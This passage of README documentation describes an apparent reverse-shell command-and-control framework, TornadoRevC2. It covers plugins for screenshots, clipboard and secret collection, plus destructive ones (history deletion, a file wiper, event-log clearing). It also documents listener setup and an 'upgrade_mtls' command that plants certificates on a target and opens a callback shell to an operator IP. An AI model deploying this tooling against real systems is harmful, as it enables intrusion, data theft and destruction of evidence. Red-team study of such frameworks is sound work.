ports | plugins/shared/ports.py | Cross-platform collector | Native ss / Get-NetTCPConnection |
history | plugins/shared/history.py | Cross-platform collector | Linux Python + Windows PowerShell builders |
memorymap | plugins/shared/memorymap.py | Custom handler | PID argument, dynamic builder |
screenshot | plugins/shared/screenshot.py | Custom handler | Base64 in JSON; operator-side PNG save |
clipboard | plugins/shared/clipboard.py | Custom handler | Soft failure via reason field |
historydel | plugins/shared/historydel.py | Custom handler | Destructive; post-collector shell cleanup |
wiper | plugins/shared/wiper.py | Custom handler | Destructive; path argument validation |
services | plugins/windows/services.py | Windows-only collector | Minimal entry point |
eventlogdel | plugins/windows/eventlogdel.py | Windows-only collector | Destructive; per-log failure reporting |
rdp | plugins/windows/rdp.py | Windows-only collector | Registry and firewall enumeration |
virtualization | plugins/shared/virtualization.py | Shared entry + split builders | Imports linux/ and builders |
For new enumeration plugins, start from run_collector_plugin in plugins/shared/runner.py and copy the layout from firewall.py or ports.py. For plugins with arguments or side effects, refer to memorymap.py or wiper.py.
Each session writes to an isolated directory under logs/:
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
session.log Operator commands and console output
sysinfo.json Host information snapshot
transfers/ Upload and download event logs
executions/ In-memory payload execution metadata
plugins/ Plugin reports and collector output
quickenum_20260812_054812.log
firewall_20260812_055130.log
screenshot_20260812_055412.png
Plugin logs contain a human-readable report and, when applicable, the raw JSON payload returned by the remote collector.
TornadoRevC2/
├── tornadorevc2.py Entry point
├── tornadorevc2/
│ ├── handler.py Listeners, sessions, operator console
│ ├── updater.py Git-based self-update and restart
│ ├── sysinfo.py Host information collection
│ ├── terminal.py PTY/TTY management
│ ├── transfer.py Chunked file transfers
│ ├── tunnel.py SOCKS5 pivoting
│ ├── remote_exec.py Remote command builders
│ ├── win_client.py Windows shell detection and script delivery
│ ├── session_registry.py Session persistence and reconnect logic
│ ├── session_log.py Per-session directory logging
│ ├── export.py HTML transcript export
│ ├── payloads.py Built-in payload catalog
│ └── plugins/
│ ├── api.py SessionContext and plugin registration
│ ├── manager.py Plugin lifecycle and execution
│ ├── loader.py Module discovery
│ ├── shared/ Cross-platform plugins
│ ├── linux/ Linux/Unix-only plugins
│ └── windows/ Windows-only plugins
├── plugins/ Optional external plugin directory
└── logs/ Session output (created at runtime)
TornadoRevC2 runs three isolated listeners, each with its own certificate source. Everything under tls_certs/ and mtls_certs/ is auto-generated on first run and never overwritten.
| Listener | Port | Client auth | Certificates |
|---|---|---|---|
| TCP | 4444 | none | — |
| TLS | 8443 | server-only | tls_certs/server.pem, tls_certs/server.key |
| mTLS | 9443 | mutual (client certificate required) | mtls_certs/ bundle |
Auto-generated as a self-signed pair (CN=localhost, RSA-2048, 3650 days).
To supply your own:
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
-c tls_certs/server.pem -k tls_certs/server.key
If the client connects using an IP address, the server certificate should include that IP in its Subject Alternative Name (SAN). Avoid disabling hostname verification unless there is a specific reason to do so.
On first run, a full PKI is bootstrapped under mtls_certs/:
ca.pem / ca.key — self-signed CA (RSA-4096, CN=TornadoRevC2-mTLS-CA)server-mtls.pem / server-mtls.key — server certificate signed by the CAclient.pem / client.key — client certificate signed by the CAca.srl — OpenSSL serial counter generated during certificate signingShip client.pem + client.key + ca.pem with the authorized client. The client must present its certificate on connect or the handshake is rejected.
Start with explicit paths:
python tornadorevc2.py -H 0.0.0.0 -mp 9443 \
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key \
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key \
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
Existing sessions on plain TCP or server-auth TLS can be moved onto the mTLS listener without restarting the handler. The upgrade_mtls plugin uploads client.pem, client.key, and ca.pem to the target, launches a background shell that presents the client certificate, and (by default) removes the bundle from disk once the new session is up.
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle # leave certs on disk after launch
run upgrade_mtls 1 --no-upload # certificate bundle already uploaded manually
# From inside an attached session (switch 1)
run upgrade_mtls
| Flag | Default |
|---|---|
-H / --host | 0.0.0.0 |
-p / --port | 4444 |
-tp / --tls-port | 8443 |
-mp / --mtls-port | 9443 |
-c / --cert, -k / --key | tls_certs/server.{pem,key} |
--mtls-ca-cert / --mtls-ca-key | mtls_certs/ca.{pem,key} |
--mtls-server-cert / --mtls-server-key | mtls_certs/server-mtls.{pem,key} |
--mtls-client-cert / --mtls-client-key | mtls_certs/client.{pem,key} |
This project is licensed under the GNU General Public License v3.0.
windows/secrets | plugins/linux/secrets.py | Linux-only collector | Platform-restricted listing |